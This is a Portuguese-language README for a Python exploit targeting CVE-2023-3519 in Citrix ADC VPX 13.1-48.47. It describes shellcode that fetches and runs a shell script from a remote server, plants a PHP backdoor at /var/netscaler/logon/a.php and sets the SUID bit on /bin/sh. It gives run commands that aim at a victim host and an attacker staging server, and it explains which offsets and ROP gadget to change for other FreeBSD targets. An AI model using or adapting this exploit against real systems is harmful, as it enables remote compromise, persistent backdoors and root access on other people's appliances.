
Exploit em Python para CVE-2023-3519 direcionando Citrix ADC com shellcode NASM personalizado, implantação de backdoor PHP e escalonamento de privilégios SUID.
Este exploit usa endereços e shellcode para Citrix VPX 13.1-48.47. Para o artigo completo, clique aqui.
NASM é necessário para compilar o shellcode.
$ sudo apt install nasm
O shellcode incluído fará o download e executará um script shell de um servidor http(s) remoto. O script aceita 3 argumentos: o host alvo, a porta alvo e a URL de um payload de script shell. Um exemplo de payload que executa id e uname -a antes de se limpar está incluído neste repositório.
$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a
A URL deve ser curta o suficiente para caber no buffer do shellcode, e você receberá um aviso se for muito longa.
O shellcode criará um backdoor PHP em /var/netscaler/logon/a.php e definirá o bit SUID em /bin/sh. O payload sh incluído mostra um exemplo de limpeza automática desses artefatos. Note também que o shellcode não fecha seus descritores de arquivo, portanto, explorações repetidas excessivas podem resultar em exaustão de recursos.
Para alvos Citrix baseados em FreeBSD, você só precisa encontrar 3 valores: o offset do ponteiro de retorno salvo, um gadget ROP jmp rsp (ou algo equivalente, como push rsp; ret;), e o endereço para saltar a fim de evitar uma falha. Esses parâmetros estão todos hardcoded perto do topo de cve-2023-3519.py.